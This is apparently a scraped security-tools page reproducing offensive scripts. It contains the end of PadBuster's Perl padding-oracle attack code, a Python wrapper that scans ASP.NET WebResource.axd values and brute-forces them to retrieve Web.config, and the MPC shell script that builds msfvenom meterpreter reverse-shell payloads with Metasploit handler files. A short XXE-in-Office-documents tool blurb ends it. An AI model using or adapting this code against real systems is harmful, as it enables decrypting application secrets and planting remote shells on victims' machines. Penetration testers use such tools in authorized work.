							# For PCKS#7, the padding block is equal to chr($blockSize - $byteNum)
							$currentPaddingByte = chr($blockSize - $byteNum);
							$nextPaddingByte = chr($blockSize - $byteNum + 1);

							my $decryptedByte = substr($testBytes, $byteNum, 1) ^ $currentPaddingByte;
							&myPrint("[+] XORing with Padding Char, which is ".&uri_escape($currentPaddingByte),1);

							$returnValue = $decryptedByte.$returnValue;
							&myPrint("[+] Decrypted Byte is: ".&uri_escape($decryptedByte),1);

							# Finally, update the test bytes in preparation for the next round, based on the padding used 
							for (my $k = $byteNum; $k < $blockSize; $k++) {
								# First, XOR the current test byte with the padding value for this round to recover the decrypted byte
								substr($testBytes, $k, 1,(substr($testBytes, $k, 1) ^ $currentPaddingByte));				

								# Then, XOR it again with the padding byte for the next round
								substr($testBytes, $k, 1,(substr($testBytes, $k, 1) ^ $nextPaddingByte));
							}
							last INNERLOOP;                        
						}

					}
				}
				
				## TODO: Combine these two blocks?
				if ($i == 0 && $analysisMode == 1) {
					# End of the road with no success.  We should probably try again.
					&myPrint("ERROR: No matching response on [Byte ".($byteNum+1)."]",0);

					if ($autoRetry == 0) {
						$autoRetry = 1;
						&myPrint("       Automatically trying one more time...",0);
						$repeat = 1;
						last OUTERLOOP;
						
					} else {
						if (($byteNum == $blockSize - 1) && ($error)) {
							&myPrint("\nAre you sure you specified the correct error string?",0);
							&myPrint("Try re-running without the -e option to perform a response analysis.\n",0);
						} 

						$continue = &promptUser("Do you want to start this block over? (Yes/No)? [y/n/a]","",1);
						if ($continue ne "n") {
							&myPrint("INFO: Switching to interactive mode",0);
							$interactive = 1;
							$repeat = 1;
							last OUTERLOOP;
						}					
					}
				}   
				if ($falsePositiveDetector == $blockSize) {
					&myPrint("\n*** ERROR: It appears there are false positive results. ***\n",0);
					&myPrint("HINT: The most likely cause for this is an incorrect error string.\n",0);
					if ($error) {
						&myPrint("[+] Check the error string you provided and try again, or consider running",0);
						&myPrint("[+] without an error string to perform an automated response analysis.\n",0);
					} else {
						&myPrint("[+] You may want to consider defining a custom padding error string",0);
						&myPrint("[+] instead of the automated response analysis.\n",0);
					}
					$continue = &promptUser("Do you want to start this block over? (Yes/No)? [y/n/a]","",1);
					if ($continue eq "y") {
						&myPrint("INFO: Switching to interactive mode",0);
						$interactive = 1;
						$repeat = 1;
						last OUTERLOOP;
					}
				}
			} 
		}
		($repeat == 1) ? ($complete = 0) : ($complete = 1);
	}
	return $returnValue;
}

sub makeRequest {
 
 my ($method, $url, $data, $cookie) = @_; 
 my ($noConnect, $lwp, $status, $content, $req, $location, $contentLength);   
 my $numRetries = 0;
 $data ='' unless $data;
 $cookie='' unless $cookie;

 $requestTracker++;
 do {
  #Quick hack to avoid hostname in URL when using a proxy with SSL (this will get re-set later if needed)
  $ENV{HTTPS_PROXY} = "";
  
  $lwp = LWP::UserAgent->new(env_proxy => 1,
                            keep_alive => 1,
                            timeout => 30,
			    requests_redirectable => [],
                            );
 
  $req = new HTTP::Request $method => $url;

  &myPrint("Request:\n$method\n$url\n$data\n$cookie",0) if $superVerbose;
  
  # Add request content for POST and PUTS 
  if ($data) {
   $req->content_type('application/x-www-form-urlencoded');
   $req->content($data);
  }
 
  if ($proxy) {
  	my $proxyUrl = "http://";
  	if ($proxyAuth) {
 		my ($proxyUser, $proxyPass) = split(":",$proxyAuth);
 		$ENV{HTTPS_PROXY_USERNAME}	= $proxyUser;
		$ENV{HTTPS_PROXY_PASSWORD}	= $proxyPass;
		$proxyUrl .= $proxyAuth."@";
 	}
 	$proxyUrl .= $proxy;
 	$lwp->proxy(['http'], "http://".$proxy);
	$ENV{HTTPS_PROXY} = "http://".$proxy;
  } 	


  if ($auth) {
   my ($httpuser, $httppass) = split(/:/,$auth);
   $req->authorization_basic($httpuser, $httppass);
  }

  # If cookies are defined, add a COOKIE header
  if (! $cookie eq "") {
   $req->header(Cookie => $cookie);
  }
 
  if ($headers) {
   my @customHeaders = split(/;/i,$headers);
   for (my $i = 0; $i <= $#customHeaders; $i++) {
    my ($headerName, $headerVal) = split(/\::/i,$customHeaders[$i]);
    $req->header($headerName, $headerVal);
   }
  }
 
  my $startTime = &gettimeofday();
  my $response = $lwp->request($req);
  my $endTime = &gettimeofday();  
  $timeTracker = $timeTracker + ($endTime - $startTime);
  
  if ($printStats == 1 && $requestTracker % 250 == 0) {
  	print "[+] $requestTracker Requests Issued (Avg Request Time: ".(sprintf "%.3f", $timeTracker/100).")\n";
  	$timeTracker = 0;
  }
  
  
  # Extract the required attributes from the response
  $status = substr($response->status_line, 0, 3);
  $content = $response->content;
 
  &myPrint("Response Content:\n$content",0) if $superVerbose;
  $location = $response->header("Location");
  if (!$location)   {
   $location = "N/A";
  }
  #$contentLength = $response->header("Content-Length");
  $contentLength = length($content);
  
  
  my $contentEncoding = $response->header("Content-Encoding");
  if ($contentEncoding) {
   if ($contentEncoding =~ /GZIP/i ) {
    	$content = Compress::Zlib::memGunzip($content);
  	$contentLength = length($content);
   }
  }
  
  my $statusMsg = $response->status_line;
  #myPrint("Status: $statusMsg, Location: $location, Length: $contentLength",1); 
 
  if ($statusMsg =~ /Can't connect/) {
   print "ERROR: $statusMsg\n   Retrying in 10 seconds...\n\n";
   $noConnect = 1;
   $numRetries++;
   sleep 10;
  } else {
   $noConnect = 0;
   $totalRequests++;
  }  
 } until (($noConnect == 0) || ($numRetries >= 15));
 if ($numRetries >= 15) {
  &myPrint("ERROR: Number of retries has exceeded 15 attempts...quitting.\n",0);
  exit;
 }
 return ($status, $content, $location, $contentLength);
}
 
sub myPrint {
 my ($printData, $printLevel) = @_;
 $printData .= "\n";
 if (($verbose && $printLevel > 0) || $printLevel < 1 || $superVerbose) {
  print $printData;
  &writeFile("ActivityLog.txt",$printData);
 }
}

sub myEncode {
 my ($toEncode, $format) = @_;
 return &encodeDecode($toEncode, 0, $format);
}

sub myDecode {
 my ($toDecode, $format) = @_;
 return &encodeDecode($toDecode, 1, $format);
}

sub encodeDecode {
 my ($toEncodeDecode, $oper, $format) = @_;
 # Oper: 0=Encode, 1=Decode
 # Format: 0=Base64, 1 Hex Lower, 2 Hex Upper, 3=NetUrlToken
 my $returnVal = "";
 if ($format == 1 || $format == 2) {
   # HEX
   if ($oper == 1) {
   	#Decode
   	#Always convert to lower when decoding)
   	$toEncodeDecode = lc($toEncodeDecode);
	$returnVal = pack("H*",$toEncodeDecode);
   } else {
   	#Encode
	$returnVal = unpack("H*",$toEncodeDecode);
	if ($format == 2) {
	   	#Uppercase
		$returnVal = uc($returnVal)
   	}
   }
 } elsif ($format == 3) {
   # NetUrlToken
   if ($oper == 1) {
	$returnVal = &web64Decode($toEncodeDecode,1);
   } else {
	$returnVal = &web64Encode($toEncodeDecode,1);
   } 
 } elsif ($format == 4) {
    # Web64
    if ($oper == 1) {
 	$returnVal = &web64Decode($toEncodeDecode,0);
    } else {
 	$returnVal = &web64Encode($toEncodeDecode,0);
    } 
 } else {
    # B64
    if ($oper == 1) {
 	$returnVal = &decode_base64($toEncodeDecode);
    } else {
 	$returnVal = &encode_base64($toEncodeDecode);
 	$returnVal =~ s/(\r|\n)//g;	
    }
 }
 
 return $returnVal;
}


sub web64Encode {
 my ($input, $net) = @_;
 # net: 0=No Padding Number, 1=Padding (NetUrlToken)
 $input = &encode_base64($input);
 $input =~ s/(\r|\n)//g;
 $input =~ s/\+/\-/g;
 $input =~ s/\//\_/g;
 my $count = $input =~ s/\=//g;
 $count = 0 if ($count eq "");
 $input.=$count if ($net == 1);
 return $input;
}

sub web64Decode {
 my ($input, $net) = @_;
 # net: 0=No Padding Number, 1=Padding (NetUrlToken)
 $input =~ s/\-/\+/g;
 $input =~ s/\_/\//g;
 if ($net == 1) {
  my $count = chop($input);
  $input = $input.("=" x int($count));
 }
 return &decode_base64($input);
}


sub promptUser {
 my($prompt, $default, $yn) = @_;
 my $defaultValue = $default ? "[$default]" : "";
 print "$prompt $defaultValue: ";
 chomp(my $input = <STDIN>);
 
 $input = $input ? $input : $default;
 if ($yn) {
  if ($input =~ /^y|n|a$/) {
   return $input;
  } else {
   &promptUser($prompt, $default, $yn);
  }
 } else {
  if ($input =~ /^-?\d/ && $input > 0 && $input < 256) {
   return $input;
  } else {
   &promptUser($prompt, $default);
  }
 }
}

sub writeFile {
 my ($fileName, $fileContent) = @_;
 if ($logFiles) {
  if ($dirExists != 1) {
   system($dirCmd." ".$dirName);
   $dirExists = 1;
  }
  $fileName = $dirName.$dirSlash.$fileName;
  open(my $OUTFILE, '>>', $fileName) or die "ERROR: Can't write to file $fileName\n";
  print $OUTFILE $fileContent;
  close($OUTFILE);
 }
}

sub getTime { 
 my ($format) = @_;
 my ($second, $minute, $hour, $day, $month, $year, $weekday, $dayofyear, $isDST) = localtime(time);
 my @months = ("JAN","FEB","MAR","APR","MAY","JUN","JUL","AUG","SEP","OCT","NOV","DEC");
 my @days = ("SUN","MON","TUE","WED","THU","FRI","SAT");
 $month=sprintf("%02d",$month);
 $day=sprintf("%02d",$day);
 $hour=sprintf("%02d",$hour);
 $minute=sprintf("%02d",$minute);
 $second=sprintf("%02d", $second);
 $year =~ s/^.//;
 if ($format eq "F") {
  return $day.$months[$month].$year."-".( ($hour * 3600) + ($minute * 60) + ($second) );
 } elsif ($format eq "S") {
  return $months[$month]." ".$day.", 20".$year." at ".$hour.":".$minute.":".$second;
 } else {
  return $hour.":".$minute.":".$second;
 }
}

myPadBuster.py Script :

#!/usr/bin/env python
# -*- coding:utf8 -*-

# Description: vuln scanning for ASP.NET padding oracle
# Author: avfisher
# Date: 2015.06.18
# Reference: http://www.secpulse.com/archives/3537.html

import urllib2
import re
import json
import sys
import smtplib
import os
import time
import ssl
import hashlib
import getopt
import subprocess
import socket

# Ignore SSL error when accessing a HTTPS website
# ssl._create_default_https_context = ssl._create_unverified_context

reload(sys)
sys.setdefaultencoding( "utf-8" )

socket.setdefaulttimeout(5)

def args(url, myurl, encryptedsample):
    output = os.path.dirname(os.path.realpath(__file__))+"/webresource.txt"
    f=open(output,'a')
    f.write(url+','+myurl+','+encryptedsample+'\n')
    f.close

def encryptedValue(url):
    output = os.path.dirname(os.path.realpath(__file__))+"/encryptedvalue.txt"
    f=open(output,'a')
    f.write('\n'+url+', ')
    f.close

def isExisted(mystr,filepath):
    if os.path.exists(filepath):
        mystr=mystr.strip()
        f=open(filepath,'r')
        num=0
        for eachline in f:
            if mystr in eachline:
                num=num+1
            else:
                num=num
        if num >0:
            return True
        else:
            return False
    else:
        return False

def getUrlRespHtml(url):
    try:
        heads = {'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', 
                 'Accept-Charset':'GB2312,utf-8;q=0.7,*;q=0.7', 
                 'Accept-Language':'zh-cn,zh;q=0.5', 
                 'Cache-Control':'max-age=0', 
                 'Connection':'keep-alive', 
                 'Keep-Alive':'115',
                 'User-Agent':'Mozilla/5.0 (X11; U; Linux x86_64; zh-CN; rv:1.9.2.14) Gecko/20110221 Ubuntu/10.10 (maverick) Firefox/3.6.14'}
     
        opener = urllib2.build_opener(urllib2.HTTPCookieProcessor())
        urllib2.install_opener(opener) 
        req = urllib2.Request(url)
        opener.addheaders = heads.items()
        respHtml = opener.open(req).read()
    except Exception:
        respHtml = ''
    return respHtml

def getInjectionPoint(html, para, url):
    if url.strip()=='':
        print "[+] "+str(now)+": error on "+url
    else:
        url = url.strip()
        reg='http:\/\/[^\/]+'
        match_url = re.search(reg,url)
        if match_url:
            site=match_url.group(0)
        try:
            regex=para+'[^\&]+\&?'
            match = re.search(regex,html)
            if match:
                myurl=site+match.group(0).split('&')[0]
                encryptedsample=myurl.split('=')[1]
                now = time.strftime('%Y-%m-%d %H:%M:%S',time.localtime(time.time()))
                print "[+] "+str(now)+": "+myurl
                args(url, myurl, encryptedsample)
            else:
                now = time.strftime('%Y-%m-%d %H:%M:%S',time.localtime(time.time()))
                print "[!] "+str(now)+": not found! ["+url+"]"
        except Exception:
            now = time.strftime('%Y-%m-%d %H:%M:%S',time.localtime(time.time()))
            print "[!] "+str(now)+": error! ["+url+"]"

def myhelp():
    print "\n+------------------------------+"
    print "|  MyPadBuster v0.0.1            |"
    print "|  Avfisher - Wooyun.org         |"
    print "|  security_alert@126.com        |"
    print "|  Referrer: PadBuster - v0.3.3  |"
    print "+--------------------------------+\n"
    print "Usage: myPadBuster.py [options]\n"
    print "Options:"
    print "  -h, --help                                     Show basic help message and exit"
    print "  -u url, --url=url                              Show WebResource value for single ASP.NET URL to be analyzed"
    print "  -w file, --webresource=file                    Show WebResource values for multiple ASP.NET URLs to be analyzed"
    print "  -s url, --single=url                           Show encrypted value for single WebResource value to be analyzed"
    print "  -m file, --multi=file                          Show encrypted values for multiple WebResource values generated by switch -w"
    print "  -p url, --padbuster=url                        Brute force Web.config by single encrypted value to be analyzed"
    print "\nExamples:"
    print "  myPadBuster.py -u http://www.example.com/login.aspx"
    print "  myPadBuster.py -w /usr/home/urls.txt"
    print "  myPadBuster.py -s http://www.example.com/WebResource.axd?d=LElgggssFFdff99"
    print "  myPadBuster.py -m c:\windows\webresource.txt"
    print "  myPadBuster.py -p http://www.example.com/ScriptResource.axd?d=LElgggssFFdff99AAAAAAAAAAAAAAAAAA0"
    print "\n[!] to see help message of options run with '-h'"

def webResourceBySingleURL(url):
    url = url.strip()
    html = getUrlRespHtml(url)
    html = html.decode('utf-8','ignore')
    para =[]
    para.append('\/WebResource.axd\?d=')
    para.append('\/ScriptResource.axd\?d=')
    for p in para:
        getInjectionPoint(html, p, url)

def webResourceByMultiURLs(urlfile):
    if os.path.exists(urlfile):
        urls=open(urlfile,'r')
        output = os.path.dirname(os.path.realpath(__file__))+"/webresource.txt"
        for url in urls:
            url = url.strip()
            if not isExisted(url,output):
                html = getUrlRespHtml(url)
                html = html.decode('utf-8','ignore')
                para =[]
                para.append('\/WebResource.axd\?d=')
                para.append('\/ScriptResource.axd\?d=')
                for p in para:
                    getInjectionPoint(html, p, url)
            else:
                now = time.strftime('%Y-%m-%d %H:%M:%S',time.localtime(time.time()))
                print "[!] "+str(now)+": warning! The url had been analyzed! ["+url+"]"
        if os.path.exists(output):
            now = time.strftime('%Y-%m-%d %H:%M:%S',time.localtime(time.time()))
            print "\n[+] Analysis Result(encryptedSample):"
            print "[-] Input File: "+urlfile
            print "[-] Output File: "+output
        urls.close
    else:
        now = time.strftime('%Y-%m-%d %H:%M:%S',time.localtime(time.time()))
        print "\n[!] "+str(now)+": error! The file path is not existed"

def encryptedSampleBySingleURL(url):
    if "=" in url:
        encryptedsample = url.split('=')[1].strip()
        padBuster = os.path.dirname(os.path.realpath(__file__))+'/padBuster.pl'
        print "\n[+] Analyzed url: "+url
        print "\n[+] Analysis is starting..."
        subprocess.call(["perl", padBuster, url, encryptedsample, '16', '-encoding', '3', '-plaintext', '"|||~Web.config"'])
        print "\n[+] Analysis is done!!!"
        print "+++++++++++++++++++++++++++++++++++++++++++++"
    else:
        now = time.strftime('%Y-%m-%d %H:%M:%S',time.localtime(time.time()))
        print "\n[!] "+str(now)+": error! The parameter is invalid"

def encryptedSampleByMultiURLs(agrs):
    if os.path.exists(agrs):
        urls = open(agrs,"r")
        for eachurl in urls:
            eachurl = eachurl.strip()
            url = eachurl.split(',')[1].strip()
            encryptedsample = eachurl.split(',')[2].strip()
            padBuster = os.path.dirname(os.path.realpath(__file__))+'/padBuster.pl'
            output = os.path.dirname(os.path.realpath(__file__))+"/encryptedvalue.txt"
            if not isExisted(url,output):
                print "\n[+] Analyzed url: "+url
                print "\n[+] Analysis is starting..."
                #encryptedValue(url) # record all encryptedvalue
                subprocess.call(["perl", padBuster, url, encryptedsample, '16', '-encoding', '3', '-plaintext', '"|||~Web.config"'])
                print "\n[+] Analysis is done!!!"
                print "+++++++++++++++++++++++++++++++++++++++++++++"
            else:
                now = time.strftime('%Y-%m-%d %H:%M:%S',time.localtime(time.time()))
                print "\n[!] "+str(now)+": warning! The url had been analyzed! ["+url+"]"
    else:
        now = time.strftime('%Y-%m-%d %H:%M:%S',time.localtime(time.time()))
        print "\n[!] "+str(now)+": error! The parameter is invalid"

def padBuster(url):
    if "=" in url:
        encryptedsample = url.split('=')[1].strip()
        padBuster = os.path.dirname(os.path.realpath(__file__))+'/padBuster.pl'
        print "\n[+] Analyzed url: "+url
        print "\n[+] Analysis is starting..."
        subprocess.call(["perl", padBuster, url, encryptedsample, '16', '-encoding', '3', '-bruteforce', '-log'])
        print "\n[+] Analysis is done!!!"
        print "+++++++++++++++++++++++++++++++++++++++++++++"
    else:
        now = time.strftime('%Y-%m-%d %H:%M:%S',time.localtime(time.time()))
        print "\n[!] "+str(now)+": error! The parameter is invalid"

def main():
    try:
        options,args = getopt.getopt(sys.argv[1:],"hu:w:s:m:p:",["help","url=","webresource=","single=","multi=","padbuster="])
    except getopt.GetoptError:
        sys.exit()

    for name,value in options:
        if name in ("-h","--help"):
            myhelp()
        if name in ("-u","--url"):
            webResourceBySingleURL(value)
        if name in ("-w","--webresource"):
            webResourceByMultiURLs(value)
        if name in ("-s","--single"):
            encryptedSampleBySingleURL(value)
        if name in ("-m","--multi"):
            encryptedSampleByMultiURLs(value)
        if name in ("-p","--padbuster"):
            padBuster(value)

    
if __name__ == "__main__":
    main()

Source : https://github.com/brianwrf


Msfvenom Payload Creator (MPC).

$
0
0

Msfvenom Payload Creator (MPC) is a wrapper to generate multiple types of payloads, based on users choice. The idea is to be as simple as possible (only requiring one input) to produce their payload.
Fully automating Msfvenom & Metasploit is the end goal (well as to be be able to automate MPC itself). The rest is to make the user’s life as easy as possible (e.g. IP selection menu, msfconsole resource file/commands and a quick web server etc).
The only necessary input from the user should be defining the payload they want by either the platform (e.g. windows), or the file extension they wish the payload to have (e.g. exe).

Quickly generate Metasploit payloads using msfvenom.

Quickly generate Metasploit payloads using msfvenom.

Install:
Designed for Kali Linux 1.1.0a+ & Metasploit v4.11+ (nothing else has been tested).

curl -k -L "https://raw.githubusercontent.com/g0tmi1k/mpc/master/mpc.sh" > /usr/bin/mpc
chmod +x /usr/bin/mpc
mpc

Help :

root@kali:/var/www# bash /root/mpc.sh
 [*] Msfvenom Payload Creator (MPC)

 [i] Missing type

 [i] /root/mpc.sh <TYPE> (<IP>) (<PORT>)
 [i] TYPE:
 [i]   + ASP (meterpreter)
 [i]   + Bash (meterpreter)
 [i]   + Linux (meterpreter)
 [i]   + PHP (meterpreter)
 [i]   + Python (meterpreter)
 [i]   + Windows (meterpreter)
 [i] IP will default to IP selection menu
 [i] PORT will default to 443
root@kali:/var/www#

Example :

Example #1 (PHP - Fully Automated)
root@kali:/var/www# bash /root/mpc.sh php 127.0.0.1
 [*] Msfvenom Payload Creator (MPC)
 [i]   IP: 127.0.0.1
 [i] PORT: 443
 [i] TYPE: PHP (php/meterpreter_reverse_tcp)
 [i]  CMD: msfvenom --payload php/meterpreter_reverse_tcp --format raw --platform php --arch php LHOST=127.0.0.1 LPORT=443 -o /var/www/php_meterpreter.php
No encoder or badchars specified, outputting raw payload
Saved as: /var/www/php_meterpreter.php
 [i] PHP meterpreter created as '/var/www/php_meterpreter.php'
 [i] MSF handler file create as 'php_meterpreter.rc (msfconsole -q -r /var/www/php_meterpreter.rc)'
 [?] Quick web server?   python -m SimpleHTTPServer 8080
 [*] Done!
root@kali:/var/www#

Example #2 (Windows - Interactive)
root@kali:/var/www# bash /root/mpc.sh exe
 [*] Msfvenom Payload Creator (MPC)

 [i] Use which IP address?:
 [i]   1.) 192.168.103.136
 [i]   2.) 192.168.155.175
 [i]   3.) 127.0.0.1
 [?] Select 1-3: 2

 [i]   IP: 192.168.155.175
 [i] PORT: 443
 [i] TYPE: Windows (windows/meterpreter/reverse_tcp)
 [i]  CMD: msfvenom --payload windows/meterpreter/reverse_tcp --format exe --platform windows --arch x86 LHOST=192.168.155.175 LPORT=443 -o /var/www/windows_meterpreter.exe
No encoder or badchars specified, outputting raw payload
Saved as: /var/www/windows_meterpreter.exe
 [i] Windows meterpreter created as '/var/www/windows_meterpreter.exe'
 [i] MSF handler file create as 'windows_meterpreter.rc (msfconsole -q -r /var/www/windows_meterpreter.rc)'
 [?] Quick web server?   python -m SimpleHTTPServer 8080
 [*] Done!
root@kali:/var/www#

To-Do List:
– Display interface name next to IP address (e.g. 2.) 192.168.155.175 [eth1])
– Display file stats (e.g. file, size, md5/sha1) Commands are in, just commented out.
– Cleaner command line arguments (e.g. -ip 127.0.0.1, -v etc)
– Support different payloads (e.g. standard shells/nc & reverse_http/reverse_https, bind etc)
– x64 payloads

Script.sh :

#!/bin/bash
#-Metadata----------------------------------------------------#
#  Filename: mpc.sh                      (Update: 2015-06-22) #
#-Info--------------------------------------------------------#
#  Quickly generate Metasploit payloads using msfvenom.       #
#-Author(s)---------------------------------------------------#
#  g0tmilk ~ https://blog.g0tmi1k.com/                        #
#-Operating System--------------------------------------------#
#  Designed for: Kali Linux & Metasploit v4.11+               #
#-Licence-----------------------------------------------------#
#  MIT License ~ http://opensource.org/licenses/MIT           #
#-Notes-------------------------------------------------------#
#                             ---                             #
#-------------------------------------------------------------#


#-Defaults-------------------------------------------------------------#


outputPath="$(pwd)/"     # ./  /var/www/   /tmp/

##### (Cosmetic) Colour output
RED="\033[01;31m"
GREEN="\033[01;32m"
YELLOW="\033[01;33m"
BLUE="\033[01;34m"
RESET="\033[00m"

##### Read command line arguments
TYPE="$(echo ${1} | tr '[:upper:]' '[:lower:]')"
IP="${2}"
PORT="${3}"
[[ -z "${IP}" ]] && IP=( $(ifconfig | grep inet | \grep -E '([[:digit:]]{1,2}.){4}' | sed 's/://g; s/inet//g; s/addr//g; s/^[ \t]*//' | cut -d ' ' -f1) )
[[ -z "${PORT}" ]] && PORT="443"
SUCCESS=false

##### (Optional) Enable debug mode?
#set -x


#-Function-------------------------------------------------------------#

## doAction TYPE IP PORT PAYLOAD CMD FILEEXT
function doAction {
  TYPE="${1}"
  IP="${2}"
  PORT="${3}"
  PAYLOAD="${4}"
  CMD="${5}"
  FILEEXT="${6}"

  FILENAME="$(echo ${TYPE}_meterpreter.${FILEEXT} | tr '[:upper:]' '[:lower:]')"
  FILEHANDLE="$(echo ${TYPE}_meterpreter.rc | tr '[:upper:]' '[:lower:]')"

  echo -e " ${YELLOW}[i]${RESET}   IP: ${YELLOW}${IP}${RESET}"
  echo -e " ${YELLOW}[i]${RESET} PORT: ${YELLOW}${PORT}${RESET}"
  echo -e " ${YELLOW}[i]${RESET} TYPE: ${YELLOW}${TYPE}${RESET} (${PAYLOAD})"
  echo -e " ${YELLOW}[i]${RESET}  CMD: ${YELLOW}${CMD}${RESET}"

  [[ -e "${FILENAME}" ]] && echo -e " ${YELLOW}[i]${RESET} File (${FILENAME}) ${YELLOW}already exists${RESET}. Overwriting..."
  eval "${CMD}"

  #echo -e " ${YELLOW}[i]${RESET}  File: $(file -b ${FILENAME})"
  #echo -e " ${YELLOW}[i]${RESET}  Size: $(du -h ${FILENAME} | cut -f1)"
  #echo -e " ${YELLOW}[i]${RESET}   MD5: $(md5sum ${FILENAME} | awk '{print $1}')"
  #echo -e " ${YELLOW}[i]${RESET}  SHA1: $(sha1sum ${FILENAME} | awk '{print $1}')"

  cat <<EOF > "${FILEHANDLE}"
#
# RUN:   service postgresql start; service metasploit start; msfconsole -q -r "${FILENAME}"
#
setg TimestampOutput true
setg VERBOSE true
use exploit/multi/handler
set PAYLOAD ${PAYLOAD}
set LHOST ${IP}
set LPORT ${PORT}
set AutoRunScript "migrate -f"
set ExitOnSession false
exploit -j -z
EOF
  echo -e " ${YELLOW}[i]${RESET} ${TYPE} meterpreter created as '${YELLOW}${outputPath}${FILENAME}${RESET}'"
  echo -e " ${YELLOW}[i]${RESET} MSF handler file create as '${YELLOW}${FILEHANDLE}${RESET} (msfconsole -q -r $(pwd)/${FILEHANDLE})'"
  SUCCESS=true
  return
}


#-Start----------------------------------------------------------------#


## Banner
echo -e " ${BLUE}[*]${RESET} ${BLUE}M${RESET}sfvenom ${BLUE}P${RESET}ayload ${BLUE}C${RESET}reator (${BLUE}MPC${RESET})"


## IP selection menu
if [[ -n "${1}" ]] && [[ -z "${2}" ]]; then
  echo -e "\n ${YELLOW}[i]${RESET} Use which ${YELLOW}IP address${RESET}?:"
  _I=0
  for ip in "${IP[@]}"; do
    _I=$[${_I} +1]
    echo -e " ${YELLOW}[i]${RESET}   ${GREEN}${_I}${RESET}.) ${ip}"
  done
  while true; do
    echo -ne " ${YELLOW}[?]${RESET} ${GREEN}Select${RESET} 1-${#IP[@]}"; read -p ": " INPUT
    [[ "${INPUT}" -ge 1 ]] && [[ "${INPUT}" -le "${#IP[@]}" ]] && IP=${IP[${INPUT}-1]} && break
  done
  echo ""
fi

## ASP
if [[ "${TYPE}" == "asp" ]]; then
  TYPE="windows"
  FILEEXT="asp"
  PAYLOAD="${TYPE}/meterpreter/reverse_tcp"
  CMD="msfvenom --payload ${PAYLOAD} --format asp --platform ${TYPE} --arch x86 LHOST=${IP} LPORT=${PORT} -o ${outputPath}${TYPE}_meterpreter.${FILEEXT}"
  doAction "ASP" "${IP}" "${PORT}" "${PAYLOAD}" "${CMD}" "${FILEEXT}"
## Bash
elif [[ "${TYPE}" == "bash" ]] || [[ "${TYPE}" == "sh" ]]; then
  TYPE="bash"
  FILEEXT=".sh"
  PAYLOAD="cmd/unix/reverse_bash"
  CMD="msfvenom --payload ${PAYLOAD} --format raw --platform ${TYPE} --arch ${TYPE} LHOST=${IP} LPORT=${PORT} -o ${outputPath}${TYPE}_meterpreter.${FILEEXT}"
  doAction "PHP" "${IP}" "${PORT}" "${PAYLOAD}" "${CMD}" "${FILEEXT}"
## Linux
elif [[ "${TYPE}" == "linux" ]] || [[ "${TYPE}" == "lin" ]] || [[ "${TYPE}" == "elf" ]]; then
  TYPE="linux"
  FILEEXT="bin"
  PAYLOAD="${TYPE}/x86/meterpreter/reverse_tcp"
  CMD="msfvenom --payload ${PAYLOAD} --format elf --platform ${TYPE} --arch x86 LHOST=${IP} LPORT=${PORT} -o ${outputPath}${TYPE}_meterpreter.${FILEEXT}"
  doAction "Linux" "${IP}" "${PORT}" "${PAYLOAD}" "${CMD}" "${FILEEXT}"
## PHP
elif [[ "${TYPE}" == "php" ]]; then
  TYPE="php"
  FILEEXT="php"
  PAYLOAD="${TYPE}/meterpreter_reverse_tcp"
  CMD="msfvenom --payload ${PAYLOAD} --format raw --platform ${TYPE} --arch ${TYPE} LHOST=${IP} LPORT=${PORT} -o ${outputPath}${TYPE}_meterpreter.${FILEEXT}"
  doAction "PHP" "${IP}" "${PORT}" "${PAYLOAD}" "${CMD}" "${FILEEXT}"
## Python
elif [[ "${TYPE}" == "python" ]] || [[ "${TYPE}" == "py" ]]; then
  TYPE="python"
  FILEEXT="py"
  PAYLOAD="${TYPE}/meterpreter/reverse_tcp"
  CMD="msfvenom --payload ${PAYLOAD} --format raw --platform ${TYPE} --arch ${TYPE} LHOST=${IP} LPORT=${PORT} -o ${outputPath}${TYPE}_meterpreter.${FILEEXT}"
  doAction "Python" "${IP}" "${PORT}" "${PAYLOAD}" "${CMD}" "${FILEEXT}"
## Windows
elif [[ "${TYPE}" == "windows" ]] || [[ "${TYPE}" == "win" ]] || [[ "${TYPE}" == "exe" ]]; then
  TYPE="windows"
  FILEEXT="exe"
  PAYLOAD="${TYPE}/meterpreter/reverse_tcp"
  CMD="msfvenom --payload ${PAYLOAD} --format exe --platform ${TYPE} --arch x86 LHOST=${IP} LPORT=${PORT} -o ${outputPath}${TYPE}_meterpreter.${FILEEXT}"
  doAction "Windows" "${IP}" "${PORT}" "${PAYLOAD}" "${CMD}" "${FILEEXT}"
elif [[ -z "${TYPE}" ]]; then
  echo -e "\n ${YELLOW}[i]${RESET} ${YELLOW}Missing type${RESET}"
else
  echo -e "\n ${YELLOW}[i]${RESET} Unknown type: ${YELLOW}${TYPE}${RESET}"
fi

if [[ "$SUCCESS" = true ]]; then
  echo -e " ${GREEN}[?]${RESET} Quick ${GREEN}web server${RESET}?   python -m SimpleHTTPServer 8080"
  echo -e " ${BLUE}[*]${RESET} ${BLUE}Done${RESET}!"
  exit 0
else
  echo -e "\n ${YELLOW}[i]${RESET} ${BLUE}${0}${RESET} <TYPE> (<IP>) (<PORT>)"
  echo -e " ${YELLOW}[i]${RESET} TYPE:"
  echo -e " ${YELLOW}[i]${RESET}   + ${YELLOW}ASP${RESET} (meterpreter)"
  echo -e " ${YELLOW}[i]${RESET}   + ${YELLOW}Bash${RESET} (meterpreter)"
  echo -e " ${YELLOW}[i]${RESET}   + ${YELLOW}Linux${RESET} (meterpreter)"
  echo -e " ${YELLOW}[i]${RESET}   + ${YELLOW}PHP${RESET} (meterpreter)"
  echo -e " ${YELLOW}[i]${RESET}   + ${YELLOW}Python${RESET} (meterpreter)"
  echo -e " ${YELLOW}[i]${RESET}   + ${YELLOW}Windows${RESET} (meterpreter)"
  echo -e " ${YELLOW}[i]${RESET} IP will default to ${YELLOW}IP selection menu${RESET}"
  echo -e " ${YELLOW}[i]${RESET} PORT will default to ${YELLOW}443${RESET}"
  exit 1
fi

Source : https://blog.g0tmi1k.com/

oxml_xxe : A tool for embedding XXE exploits into OXML documents.

$
0
0

oxml_xxe : This tool is meant to help test XXE vulnerabilities in OXML document formats.

Latest Change : oxml_xxe.rb : pdf/gif poc code
Support ffice Open XML (OpenXML; OOXML; OXML)
+ *.docx, *.pptx, *.xlsx
+ “Open” File Format developed by Microsoft
+ Available for Office 2003, Default in Office 2007
+ ZIP archive containing XML and media files.

Open XML Formats File Container

Open XML Formats File Container

+OXML_XXE:
+ XSS Testing
+ LFI; Relationship Id=”rId1″ Type=”…relationships/officeDocument” Target=”/word/document.xml”

+OXML Features;
— hlinkHover
— XSLTransform
— Embedded “Documents”
— SSRF

